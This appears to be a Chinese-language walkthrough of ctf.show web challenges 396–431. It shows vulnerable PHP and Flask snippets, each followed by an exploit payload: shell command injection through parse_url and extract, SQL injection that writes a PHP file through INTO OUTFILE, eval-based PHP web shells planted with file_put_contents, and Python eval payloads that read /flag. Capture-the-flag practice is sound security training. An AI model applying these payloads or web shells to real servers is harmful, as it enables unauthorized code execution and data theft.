web396、397、398、399、400、401 parse_url 绕过
源码
error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
shell_exec('echo '.$url['host'].'> '.$url['path']);
}else{
highlight_file(__FILE__);
}
这里没有什么限制直接绕过
payload一
?url=http://l/l;ls -al > 1.txt
访问即可看到文件
payload二
?url=http://l/l;cat%20fl0g.php > 3.txt
这里继续访问
web403
error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(preg_match('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/', $url['host'])){
shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
}
}else{
highlight_file(__FILE__);
}
首先拿到源码,简单判断一下,这里可以看到有个正则匹配,这个正则大概的意思就是匹配一个ip,所以我们只需要构造一个ip即可绕过
通过这个图片我们可以看出,我们可以执行的地方就在path
这里我放两张图片,然后就知道这里为啥是这样构造了
poc
?url=http://127.0.0.1/;echo
cat fl0g.php
>> a.txt
web406 filter_var绕过
require 'config.php';
//flag in db
highlight_file(__FILE__);
$url=$_GET['url'];
if(filter_var ($url,FILTER_VALIDATE_URL)){
$sql = "select * from links where url ='{$url}'";
$result = $conn->query($sql);
}else{
echo '不通过';
}
这里参考这一篇文章:PHP代码审计02之filter_var()函数缺陷
接下来简单分析一下,既然这边我们可以绕过这个函数,哪应该怎么哪到flag呢,首先这里有提示flag在数据库里面flag in db
<?php
require 'config.php';
$sql ='select flag from flag into outfile "/var/www/html/1.txt"';
$result = $conn->query($sql);
var_dump($result);
?>
转为16进制
http://a53d40ee-9871-49a0-8f4a-5463bc97e052.chall.ctf.show/?url=0://www.baidu.com;'union/**/select/**/1,0x3c3f70687020726571756972652027636f6e6669672e706870273b2473716c203d2773656c65637420666c61672066726f6d20666c616720696e746f206f757466696c6520222f7661722f7777772f68746d6c2f312e74787422273b24726573756c74203d2024636f6e6e2d3e7175657279282473716c293b7661725f64756d702824726573756c74293b203f3e/**/into/**/outfile/**/"/var/www/html/4.php"%23
访问1.txt即可
web407 filter_var 回调函数ipv6绕过
highlight_file(__FILE__);
error_reporting(0);
$ip=$_GET['ip'];
if(filter_var ($ip,FILTER_VALIDATE_IP)){
call_user_func($ip);
}
class cafe{
public static function add(){
echo file_get_contents('flag.php');
}
}
cafe::add
web408 filter_var非法字符可以放在双引号里面绕过检测
highlight_file(__FILE__);
error_reporting(0);
$email=$_GET['email'];
if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
file_put_contents(explode('@', $email)[1], explode('@', $email)[0]);
}
email="<?=eval($_POST[1])?>"@1.php
这里用短标签的意思是因为,不能有空格,因为有个双引号然后浏览器会把空格转义为%20,然后因为双引号包含,最后导致写不进文件
参考文章php代码审计危险函数总结
web 409 (不会)
web 410 FILTER_VALIDATE_BOOLEAN 过滤器
?b=on
web 411 FILTER_VALIDATE_BOOLEAN 过滤器
?b=yes
web 412 PHP file_put_contents
这里我们直接写马即可,这里要记住的是先把前面的标签闭合,因为这里是包含进去,这里分号不能露,不然代码报错。
?><?php @eval($_POST[1]);&1=system(‘ls’);
web 413 file_put_contents
highlight_file(__FILE__);
$ctfshow=$_POST['ctfshow'];
if(isset($ctfshow)){
file_put_contents('flag.php', '/*'.$ctfshow.'*/',FILE_APPEND);
include('flag.php');
}
这里就是在前面加了一个*/
ctfshow=/system('tac f’);/*
web414 php弱等于
布尔值true和任意字符串都弱相等
所以直接
ctfshow=-3
web415 php若等于
== :弱等于。在比较前会先把两种字符串类型转成相同的再进行比较。简单的说,它不会比较变量类型,只比较值。
若一个数字和一个字符串进行比较或者进行运算时,PHP会把字符串转换成数字再进行比较。若字符串以数字开头,则取开头数字作为转换结果,不能转换为数字的字符串(例如"aaa"是不能转换为数字的字符串,而"123"或"123aa"就是可以转换为数字的字符串)或null,则转换为0
函数名、方法名、类名 不区分大小写
?k=Getflag
web416 php 方法的调用
::用来直接调用类中的属性或方法
f=ctf::flag
web 417
这题把文件下载下来,直接给看懵了,太菜了还是直接看师傅们的把,解出来是这个
include('flag.php');
$c=$_GET['ctf'];
if($c=='show'){
echo $flag;
}else{
echo 'FLAG_NOT_HERE';
}
?>
web 418 extract 变量覆盖
源码
$key= 0;
$clear='clear.php';
highlight_file(__FILE__);
//获取参数
$ctfshow=$_GET['ctfshow'];
//包含清理脚本
include($clear);
extract($_POST);
if($key===0x36d){
//帮黑阔写好后门
eval('<?php '.$ctfshow.'?>');
}else{
$die?die('FLAG_NOT_HERE'):clear($clear);
}
=== :强等于。在比较前会先判断两种字符串类型是否相同再进行比较,如果类型不同直接返回不相等。既比较值也比较类型。
这里有点误导让你,去写后门,但是$key===0x36d这个是强等于,0x36d 这个是integer整形,但是传的字符串却是字符型,绕不过去,所以这题用变量覆盖修改$clear就可以了,
payload
key=a&clear=;echo cat flag.php > index3.txt;&die=0
web 419 套娃
highlight_file(__FILE__);
$code = $_POST['code'];
if(strlen($code) < 17){
eval($code);
}
Notice: Undefined index: code in /var/www/html/index.php on line 18
code=eval($_POST[1]);&1=system(‘cat flag.php’);
web 420 nl
code=nl …/*
web 421 nl
code=nl f*
web 422 nl
code=nl *
web 423 ssti
一开始的源码是这样的
from flask import Flask
from flask import request
import os
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
因为这一题有导入了OS,所以这里直接
open('/flag').read()
web 424 ssti
from flask import Flask
from flask import request
app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
这道题去掉了os模块,直接查看flag就好了
open('/flag').read()
web 425 ssti 过滤os
reg = re.compile(r'os|popen')
if reg.match(code)==None:
return eval(code)
这道题有过滤,过滤开头的os,但是有点形同虚设,直接查看flag就好了
open('/flag').read()
web 426 ssti 过滤 os|popen
只匹配开头
payload
open('/flag').read()
web 427 ssti 过滤 os|popen|system
只匹配开头
open('/flag').read()
web 428 ssti 过滤os|popen|system|read
只匹配开头
open('/flag').read()
web 429 ssti 过滤了os|open|system|read
过滤有问题,只会匹配开头
payload
open('/flag').read()
open前面有个空格
web 430 ssti 过滤了os|open|system|read|eval
过滤有问题,只会匹配开头
payload
open('/flag').read() open
前面有个空格
web 431 ssti 过滤了过滤了os|open|system|read|eval|str
过滤有问题,只会匹配开头
payload
open('/flag').read() open
前面有个空格payload